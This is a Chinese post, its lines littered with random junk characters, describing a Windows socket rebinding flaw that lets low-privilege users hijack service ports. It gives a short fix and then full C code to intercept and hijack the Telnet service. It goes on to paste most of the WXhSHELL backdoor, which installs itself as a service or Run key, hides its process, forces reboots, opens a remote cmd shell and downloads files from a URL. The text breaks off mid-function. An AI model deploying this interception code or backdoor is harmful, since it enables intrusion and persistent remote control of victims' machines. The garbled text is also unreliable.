在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
CQDkFQq-dq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
g95`.V} @2v_pJy^ saddr.sin_family = AF_INET;
2gVm9gAHUd 2SR: FUV/ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
t#eTV@- Hl
|z</*+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3%=~)7cF 3|Xyl`i4o 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
tcog'nAz }?v )N).kW 这意味着什么?意味着可以进行如下的攻击:
Z>#i** 2Q:+_v 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^&Y#)II ~2khgZ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^@NU}S):yN @>H75 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
,UdVNA 4x[S\,20 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Y% 5eZ=z /fV;^=:8c 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
q?/a~a "|KP'<8% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
w_u\sSQ`! OJy#w{4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
kX2rp?{ CF5`-wj/# #include
@cB$iP=Z4 #include
*%@h(js #include
=+d?x56 #include
Vj>8a)"B5a DWORD WINAPI ClientThread(LPVOID lpParam);
sZF6h=67D int main()
gCY';\f! {
v0jgki4t WORD wVersionRequested;
[QT#Yf0 DWORD ret;
TBU&6M>{3 WSADATA wsaData;
Y,zxbXZv'5 BOOL val;
q{;:SgZ SOCKADDR_IN saddr;
c=.(!qdH SOCKADDR_IN scaddr;
l0A&9g*l2 int err;
QGmn#]w\\ SOCKET s;
p0<\G SOCKET sc;
<B8!.|19 int caddsize;
0b(N^$js' HANDLE mt;
fkNbS DWORD tid;
e'D&8z_; wVersionRequested = MAKEWORD( 2, 2 );
3WIk err = WSAStartup( wVersionRequested, &wsaData );
O/(xj2~$J if ( err != 0 ) {
vTw>JNVI printf("error!WSAStartup failed!\n");
3n}?bY8@5_ return -1;
yd`mG{Z }
'$zIbQ: saddr.sin_family = AF_INET;
RQu(Wu|m. $[=%R`~w //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
J!U}iD@occ S\!ana]) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ChXq4] saddr.sin_port = htons(23);
#"iu|D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p|D/;Mk {
9|CN8x- printf("error!socket failed!\n");
LOV)3{m return -1;
l3F6AlPql }
Jz
*;q~ val = TRUE;
s(q_
o //SO_REUSEADDR选项就是可以实现端口重绑定的
$43qME if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
$,Yd>%Y {
pgZXJ printf("error!setsockopt failed!\n");
Y#$%iF return -1;
oj_3ZsO }
/HRFAqep //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ut/=R !(K //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
naznayy //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
LvUj9eVb/L ,>+p-M8ZL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
A` o8'+`C {
a\YV3NJ/A ret=GetLastError();
Y,t={HiclX printf("error!bind failed!\n");
gi
_ 5?$ return -1;
j*TYoH1 }
)*x6 FfTUd listen(s,2);
*U=s\ while(1)
GKc`xIQ {
7!TueP0Zd caddsize = sizeof(scaddr);
h
Pa_VrH //接受连接请求
:mn>0jK,N sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Cg?&wj< if(sc!=INVALID_SOCKET)
d;9FB[MmOJ {
ls:w8&`* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~d*(=G if(mt==NULL)
=uYYsC\T {
2/=l|!JKLz printf("Thread Creat Failed!\n");
cI?8RF(; break;
+jnJ|h({ }
JKmIvZ)8 }
@8rx`9 CloseHandle(mt);
x!58cS* }
Y+u_IJ closesocket(s);
} .y
1;. WSACleanup();
.I0qG g return 0;
Jk=I^%~ }
<oA7'|Bu< DWORD WINAPI ClientThread(LPVOID lpParam)
2OR{[L*
{
b:]V`uF? SOCKET ss = (SOCKET)lpParam;
T\j{Bi5 \J SOCKET sc;
8jo p_PG' unsigned char buf[4096];
90*5
5\>{ SOCKADDR_IN saddr;
YU5(g^< long num;
J!pygn O DWORD val;
rb+j*5Es DWORD ret;
=wOm}V8N& //如果是隐藏端口应用的话,可以在此处加一些判断
OGg># vj,s //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
po Vx8oO8 saddr.sin_family = AF_INET;
3L}!RB saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
`q*M4, saddr.sin_port = htons(23);
k=JrLfD4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
T1Z;r*} {
={d>iB yq printf("error!socket failed!\n");
O5kz5b>Z return -1;
v8[I8{41 }
usK*s$ns val = 100;
8hJ%JEzga if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
RA'M8:$ {
$jI3VB ret = GetLastError();
> $7v
;Q return -1;
f"SD/]q- }
m\r@@! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
![_*(8v}S {
\T :i{.i ret = GetLastError();
BB*f4z$Y% return -1;
~8P!XAU56% }
z(Pe,zES if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
.e=:RkI, {
ADP%QTdqFJ printf("error!socket connect failed!\n");
J1I ;Jgql( closesocket(sc);
ERE)A-8 closesocket(ss);
^N;.cY return -1;
TNY&asQo }
s ;oQS5Y while(1)
1o;J,dYu {
xLWwYK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$oU*9}}Rn //如果是嗅探内容的话,可以再此处进行内容分析和记录
b TM{l.Aq3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
%GA"GYL9' num = recv(ss,buf,4096,0);
lG!|{z7+0 if(num>0)
p&bROuw<T send(sc,buf,num,0);
S^>,~R.TX else if(num==0)
8WbgSY` break;
^*8G8'k;$ num = recv(sc,buf,4096,0);
)Sg~[WxDv if(num>0)
hjB@o#S send(ss,buf,num,0);
dWUm\t'# else if(num==0)
~&8^9E a break;
4c$ zKqz }
f]|ysf closesocket(ss);
YoZFwRQU closesocket(sc);
r(aLEJ"u? return 0 ;
1#*a:F&re }
M/ni6%x |_*O '#jx TYmP) ==========================================================
=/Mq 5. -pa )K"z 下边附上一个代码,,WXhSHELL
?_$=l1vf PMh^(j[ ==========================================================
WDc+6/< EQ`(yj #include "stdafx.h"
{G}.b)9FG 36%nB* #include <stdio.h>
xtE_=5$~ #include <string.h>
qY<'<T4\ #include <windows.h>
ujaGNg?, #include <winsock2.h>
!2A:"2Kys: #include <winsvc.h>
+!z{5: #include <urlmon.h>
'EF9Zt8 5b/|!{ #pragma comment (lib, "Ws2_32.lib")
*:t|qgJI#+ #pragma comment (lib, "urlmon.lib")
p|jV{P RwPN gRF #define MAX_USER 100 // 最大客户端连接数
&8>IeK{I #define BUF_SOCK 200 // sock buffer
)XakJU^o #define KEY_BUFF 255 // 输入 buffer
#PanfYR
lBhLf@ #define REBOOT 0 // 重启
8V)^R(\; #define SHUTDOWN 1 // 关机
r>" *x])Y~oQ #define DEF_PORT 5000 // 监听端口
n'01Hh`0 oA7;.:3 #define REG_LEN 16 // 注册表键长度
C>$E%=h+_ #define SVC_LEN 80 // NT服务名长度
2H6,'JK@F "
'6;/N // 从dll定义API
qg!|l7e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Bck7\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
m~Bl*`~M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}L3 oR typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
jJY"{foWV f3{MvAy[ // wxhshell配置信息
]*FVz$>XM struct WSCFG {
vj\d A2!~ int ws_port; // 监听端口
U{z9> char ws_passstr[REG_LEN]; // 口令
%D8ZO0J7H int ws_autoins; // 安装标记, 1=yes 0=no
7L@K _ZJ char ws_regname[REG_LEN]; // 注册表键名
W4e5Rb4~f" char ws_svcname[REG_LEN]; // 服务名
ryCI>vJz char ws_svcdisp[SVC_LEN]; // 服务显示名
AvSM^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
.J.-Mm`. char ws_passmsg[SVC_LEN]; // 密码输入提示信息
I1\a[Xe8E int ws_downexe; // 下载执行标记, 1=yes 0=no
Z@&Dki char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Ucm :S- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Nwt" \3 H5]^
6
HwX };
2eC(Ijq[a !V\Q<So< // default Wxhshell configuration
T
G{k0cdOT struct WSCFG wscfg={DEF_PORT,
ZAUQJS 91E "xuhuanlingzhe",
92d6U2T4& 1,
4Hn`'+b "Wxhshell",
)\be2^p "Wxhshell",
ks97k8B "WxhShell Service",
80&.JP. "Wrsky Windows CmdShell Service",
YoLx>8 "Please Input Your Password: ",
D3^7y.u<) 1,
'XofD}dm "
http://www.wrsky.com/wxhshell.exe",
I_%a{$Gjl "Wxhshell.exe"
%4
XJn@J };
vR=6pl$|~~ J9Ou+6 u( // 消息定义模块
9D}/\jM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
,FMx5$ char *msg_ws_prompt="\n\r? for help\n\r#>";
ivz>dJ ?T char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
E}_[QEY;Y char *msg_ws_ext="\n\rExit.";
4e;yG> char *msg_ws_end="\n\rQuit.";
}X_;X_\3;' char *msg_ws_boot="\n\rReboot...";
P=+nB*hG char *msg_ws_poff="\n\rShutdown...";
)aao[_ZS char *msg_ws_down="\n\rSave to ";
H_Kj7(=&> ?wF'<kEH char *msg_ws_err="\n\rErr!";
|),'9 char *msg_ws_ok="\n\rOK!";
Qb; d:@9 M=*bh5t%] char ExeFile[MAX_PATH];
xIGfM>uq int nUser = 0;
''^Y>k HANDLE handles[MAX_USER];
"/6:6`J int OsIsNt;
rs*Fy@ Kryo} SERVICE_STATUS serviceStatus;
d]i(h~?_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
RUUk
f({( O Xi@c;F // 函数声明
<ggtjw S int Install(void);
!!V#v9{ int Uninstall(void);
+:-57 int DownloadFile(char *sURL, SOCKET wsh);
^1x*lLf int Boot(int flag);
-0Tnh;&= void HideProc(void);
M- 2Tz[ int GetOsVer(void);
N0w`!<y:c int Wxhshell(SOCKET wsl);
HCJ>X;(`f? void TalkWithClient(void *cs);
f%)zg(YlO int CmdShell(SOCKET sock);
0lsXCr_X int StartFromService(void);
;k86"W int StartWxhshell(LPSTR lpCmdLine);
z%7SrUj2 rVa?JvDO= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6ubL1K VOID WINAPI NTServiceHandler( DWORD fdwControl );
fr}Eaa-{^ 9cx =@ // 数据结构和表定义
>'5_Y]h4m| SERVICE_TABLE_ENTRY DispatchTable[] =
:BukUket1e {
he -Ji {wscfg.ws_svcname, NTServiceMain},
JwRF(1_sM {NULL, NULL}
`)h6j)xiQ };
J~iBB~x. p!V>XY'N^ // 自我安装
Z,;cCxE int Install(void)
ror|R@;y {
P;8>5;U4- char svExeFile[MAX_PATH];
Enq|Y$qm HKEY key;
\WrFqm# strcpy(svExeFile,ExeFile);
C"qU-&*v H:JLAK // 如果是win9x系统,修改注册表设为自启动
%|l8f>3[ if(!OsIsNt) {
%q322->Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!.<T"8BUpv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
H,<7G;FPT RegCloseKey(key);
mNAY%Wn6k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1b>C<\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#4h+j%y[H RegCloseKey(key);
&G >(9 return 0;
SL&hJs4c' }
H{c?lT }
GOB(#vu }
4Kv[e]10( else {
HXVBb%pP L]hXpt // 如果是NT以上系统,安装为系统服务
Koln9'tB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Gy Qm/I if (schSCManager!=0)
~;OYtz {
25|8nfeC5 SC_HANDLE schService = CreateService
cj|*_} (
:9Y$'+ <&H schSCManager,
%_aMl wscfg.ws_svcname,
@C-dG7U.P wscfg.ws_svcdisp,
Dli^2hD SERVICE_ALL_ACCESS,
uH^PQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Hv<'dt$| SERVICE_AUTO_START,
?Jusl8Sm SERVICE_ERROR_NORMAL,
`}no9$l~ svExeFile,
W~B5>;y NULL,
b~C$R[S NULL,
tAFti+Qb NULL,
YIp-Y}6 NULL,
aSYs_?&. NULL
'69ZdP/xX );
tNmy&
nsA if (schService!=0)
kF V7l {
LDy<k=;o CloseServiceHandle(schService);
6`"M CloseServiceHandle(schSCManager);
SnTDLa strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
])#\_'fg strcat(svExeFile,wscfg.ws_svcname);
+f;CyMEp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
+>g`m)?p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
I#FF*@oeM RegCloseKey(key);
hvt@XZT return 0;
m>e3vu }
dYojm1MQ }
;;gK@?hJ CloseServiceHandle(schSCManager);
dd7 =)XT+ }
y9;#1:ic }
$ 'QdFkOr ]&i+!$N_ return 1;
[{<dbW\ 9 }
"n\%_'R\hH E)t // 自我卸载
8C.!V =@\ int Uninstall(void)
I]J*BD#n. {
/=#~ HKEY key;
;+I4&VieK 8xI`jE"1 if(!OsIsNt) {
W)SjQp6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
mf|pNiQ, RegDeleteValue(key,wscfg.ws_regname);
-05U%l1e RegCloseKey(key);
@#b0T:+v' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mg+k'Myo+ RegDeleteValue(key,wscfg.ws_regname);
~HUZ#rUHm> RegCloseKey(key);
PG)_L.7rJ return 0;
K2/E#}/ }
=O{~Q3z@s }
'CS.p!Z\ }
9g?xlue#? else {
%W|DJ\l8" %bX0 mN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"t&{yBQ0u if (schSCManager!=0)
KLt%[$CTi {
$)e:8jS= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
td(M#a- if (schService!=0)
0%)5.=6 {
VZA3IbK} if(DeleteService(schService)!=0) {
BSp$F WvT? CloseServiceHandle(schService);
h<[+HsI CloseServiceHandle(schSCManager);
`:-J+<` return 0;
f@:CyB GQ }
j[S`^2 CloseServiceHandle(schService);
iTNqWU-o }
Gbd?%{Xc- CloseServiceHandle(schSCManager);
%N~CvN@T }
VVrwOoCN }
n'64;J5 Q59/ex return 1;
.:;fAJPf }
{u30rc" c%YDt` // 从指定url下载文件
)hL^+Nn bR int DownloadFile(char *sURL, SOCKET wsh)
!J.rM5K {
d0C8*ifFO HRESULT hr;
'=TTa char seps[]= "/";
9Nl*4 char *token;
r2G*!qK*1 char *file;
Z[,`"}}hv= char myURL[MAX_PATH];
135Par5v char myFILE[MAX_PATH];
U
\Dca&= z=?0)e(H, strcpy(myURL,sURL);
'rV2Bt, token=strtok(myURL,seps);
"zZ&n3=@ while(token!=NULL)
dV$!JTsd {
'}O!2W&Y]% file=token;
PF ;YE6 token=strtok(NULL,seps);
|qL;Nu,d }
FH n,]Tfx l:tpL(% GetCurrentDirectory(MAX_PATH,myFILE);
ofEqvoi@ strcat(myFILE, "\\");
{qAu/ixp strcat(myFILE, file);
'=%i, send(wsh,myFILE,strlen(myFILE),0);
`QCD$= send(wsh,"...",3,0);
jCWu\Oe hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
R;=6VH if(hr==S_OK)
6bL"LM`s return 0;
lgG8!Ja else
.D@/y uV return 1;
!yCl(XT FYeEG }
[u\CD sX aVK()1v] // 系统电源模块
[>uwk``_ int Boot(int flag)
iy
3DX|] {
Fi{mr*} HANDLE hToken;
]]V^:"ne TOKEN_PRIVILEGES tkp;
anZIB Z)v)\l9d if(OsIsNt) {
0P:F97"1, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
'j /q76uXV LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<<BQYU)Ig tkp.PrivilegeCount = 1;
HU3Vv<lz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/Y ^7Rl AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
c20|Cx2m if(flag==REBOOT) {
.5k^f5a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
M7H~;S\3IM return 0;
xucIjPi] }
7+]F^
6 else {
B=x~L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
T.euoFU{Z return 0;
k*9%8yi_ U }
{1 HB!@%,( }
rH^/8|}&s else {
"11j$E9#\n if(flag==REBOOT) {
<d<RK@2- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
9_`3IJ return 0;
bfc.rZ }
tYI]=: else {
e>(Wvb&4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
?',}?{"c return 0;
p
d%LL?O }
D; yd{]< }
R]fYe#!" Dpp@*xX> return 1;
@>9A$w$H|a }
XDvq7ZD z5I^0' // win9x进程隐藏模块
Lj-{t% } void HideProc(void)
'XME?H:q a {
z7$}#)Z7 g BH?l/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
:Q#H(\26r if ( hKernel != NULL )
Suj}MEiv {
DwC@"i. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
F_~6n]Sr ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5lG|A6+w{ FreeLibrary(hKernel);
A&?WP\_z }
O^D c&w FrgV@4'2G return;
kt5YgW }
$/y%[ . 7@\GU].2 // 获取操作系统版本
#s/{u
RYQ int GetOsVer(void)
j?d!}v {
c8!j6\dC* OSVERSIONINFO winfo;
)m> 6hk winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Wpa$B
)xg GetVersionEx(&winfo);
EsNk<Ra if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
PH{c, return 1;
4jPwL|# else
{K6Kx36 return 0;
's/27=o }
\Z8Y(]6* L)=8mF. // 客户端句柄模块
%!#rrt,F int Wxhshell(SOCKET wsl)
Ld'EABM {
F F(^:N SOCKET wsh;
G0^V!0I&O struct sockaddr_in client;
AIf[W">\ DWORD myID;
cKSfqqPm$" L_`Xbk y while(nUser<MAX_USER)
5!2J;.& {
|'!7F9GP int nSize=sizeof(client);
"
-<}C%C wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
tzP@3+.w if(wsh==INVALID_SOCKET) return 1;
</2,2AV4q* 1XC*| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Zt7hzW if(handles[nUser]==0)
YGi/]^Nba closesocket(wsh);
23,%=U else
1@s^$fvW nUser++;
y`T--v3mI }
6qY\7R2+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
X~`.} ,5`."-0} return 0;
[Ja(ArO3|[ }
,$ho2R),Fn MJpP!a^Q // 关闭 socket
=t~+63) void CloseIt(SOCKET wsh)
O>kXysM v> {
:tg@HyY) closesocket(wsh);
I>(;bNgNE nUser--;
P<TpG0~( ExitThread(0);
V%VrAi. }
8-W"4)@b Uv#>d}P // 客户端请求句柄
H,01o5J void TalkWithClient(void *cs)
j
P{:A9T\ {
pXGK:ceFu e@6RC bj SOCKET wsh=(SOCKET)cs;
0 m)-7@ char pwd[SVC_LEN];
~Tpe,juG_ char cmd[KEY_BUFF];
:%+^} char chr[1];
;Hz`0V int i,j;
8N</Yi|n >;T$#LZ while (nUser < MAX_USER) {
$4#=#aKW. Ew)n~!s if(wscfg.ws_passstr) {
YMd&To 0s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
HMl!?%% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.Bm ^3A //ZeroMemory(pwd,KEY_BUFF);
5#N"WHz! i=0;
H-nFsJ(R!c while(i<SVC_LEN) {
`!5tH?bX
ui0J}DM // 设置超时
dM>j<JC= fd_set FdRead;
Dohl,d struct timeval TimeOut;
(25^r FD_ZERO(&FdRead);
S|O%h}AH; FD_SET(wsh,&FdRead);
J7 Oa})-+' TimeOut.tv_sec=8;
\Nh^Ig TimeOut.tv_usec=0;
<s59OdzP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
E.WNykF- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
kHz+ZY<? DKaG?Y,*p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*_<SWTE pwd
=chr[0]; TV$\v@\ =
if(chr[0]==0xd || chr[0]==0xa) { }+QhW]nO{F
pwd=0; 6_ 33*/>=c
break; BIHHRCe:@n
} \]~kyy
i++; r P<d[u
} 3thG*^C5
P^uP$D
// 如果是非法用户,关闭 socket LRqw\fKk[
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -=v/p*v0o
} g9grfN
6cgpg+-a
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )\:lYI}Wpm
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *cI6&;y
!z"a_
while(1) { 3f7t%
}tl8(kjm
ZeroMemory(cmd,KEY_BUFF); K2cp f
KNUMz4
// 自动支持客户端 telnet标准 gpO_0U4lQ]
j=0; ,_TH@0{
while(j<KEY_BUFF) { s$+: F$Y0
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NXV~[
cmd[j]=chr[0]; yC&b-y
if(chr[0]==0xa || chr[0]==0xd) { US*<I2ZLh
cmd[j]=0; GFy0R"&d[
break; =km-`}I,
} <(6-9(zHa
j++; qKI4p3&E
} Fc{6*wtO
[/#k$-
// 下载文件 @poMK:
if(strstr(cmd,"http://")) { 4BUK5)B
send(wsh,msg_ws_down,strlen(msg_ws_down),0); iJynR [7
if(DownloadFile(cmd,wsh)) ,&pF:qlF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pvb+
else h9)]N&07b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1_dMe%53
} BW(DaNt^
else { tp,mw24
c?3F9w#
switch(cmd[0]) { ck4T#g;=
9DP75 ti
// 帮助 wYS
KtG~/S
case '?': { "YdDaj</
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |WwFE|<
break; =+sIX3
} \qK}(xq[
// 安装 +%cr?g
case 'i': { 8d*<Aki?;
if(Install()) NXG}0`QVT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *{p&Fy55
else a?Qcf;o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O]4
x;`)
break; :R _#'i
} +ouy]b0`t
// 卸载 ~"4 vd 3
case 'r': { '%|20j
if(Uninstall()) \"sSS.'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *"9)a6T
t+
else jP7+s.j>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %imBGh
break; ur"e
F
} (k2J{6]
// 显示 wxhshell 所在路径 7<C~D,x6
case 'p': { W U4vb
char svExeFile[MAX_PATH]; kl{OO%jZ
strcpy(svExeFile,"\n\r"); vS,G<V3B
strcat(svExeFile,ExeFile); v%PWr5]
send(wsh,svExeFile,strlen(svExeFile),0); BNKo6:wy
break; fKK-c9F
} Xe^=(| M
// 重启 A%2M]];%X
case 'b': { JI#Enh!Lv
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L|xen*O
if(Boot(REBOOT)) &.bR1wX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *U^\Mwp
else { zZjLt1
closesocket(wsh); u g$\&rM>
ExitThread(0); Z=5}17kA
} ,I:m*.q
break; sZP3xh[B
} hZ /
// 关机 `F`'b)
case 'd': { Vh[o[ U
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y2hFUq
if(Boot(SHUTDOWN)) lIc9,|FL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Fm;LQa ]
else { r+.4|u
closesocket(wsh); x%?*]*W
ExitThread(0); >b"z`{tE
} {O,M}0Eg
break;
F3r
} lp%.n= '\
// 获取shell :g:h 0'G
case 's': { 1AkHig,
CmdShell(wsh); YM/3VD
closesocket(wsh); rOf
ExitThread(0); )Ai%wCzw*
break; F p=Q$J|
} YKxA2`3v%
// 退出 tVh4v#@+
case 'x': { Y>!W&Gtu
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R~c vml
CloseIt(wsh); o0+BQ&A)s*
break; Z.OrHg1
} .p*D[o2 9
// 离开 I)/7M}t`
case 'q': { $m0x8<7nu
send(wsh,msg_ws_end,strlen(msg_ws_end),0); =4\~M"[p
closesocket(wsh); ,(kXF:
WSACleanup(); {-]HYk
exit(1); FveK|-
break; bFxJ|
} NX #d}M^V
} 8!`.%)- 4
} adPU)k_j:
Lj* =*V
// 提示信息 !!X9mI|2|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); teNQUIe-
} I=Dk'M
} ymVd94L
4bjp*1 *]
return; 7,VWvmWJex
} E/-Kd!|"
W%ZU& YBc
// shell模块句柄 l*MUDT@M8\
int CmdShell(SOCKET sock) W]MJ!4
{ qvT+d
l3#[
STARTUPINFO si; }Fe{s;
ZeroMemory(&si,sizeof(si)); _<}5[(qu
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &>B>+}'
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )$N{(Cke2T
PROCESS_INFORMATION ProcessInfo; gJ~*rWBK:
char cmdline[]="cmd"; U$J_:~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); { RX|
return 0; jY6=+9Jz5
} rd~W.b_b
Zd/~ *ZA
// 自身启动模式 /
H/Ne
)r
int StartFromService(void) !PTbR4s
{ b'"%
typedef struct BcO2* 3
{ c)YGwkY,,
DWORD ExitStatus; #;\;F PuZ
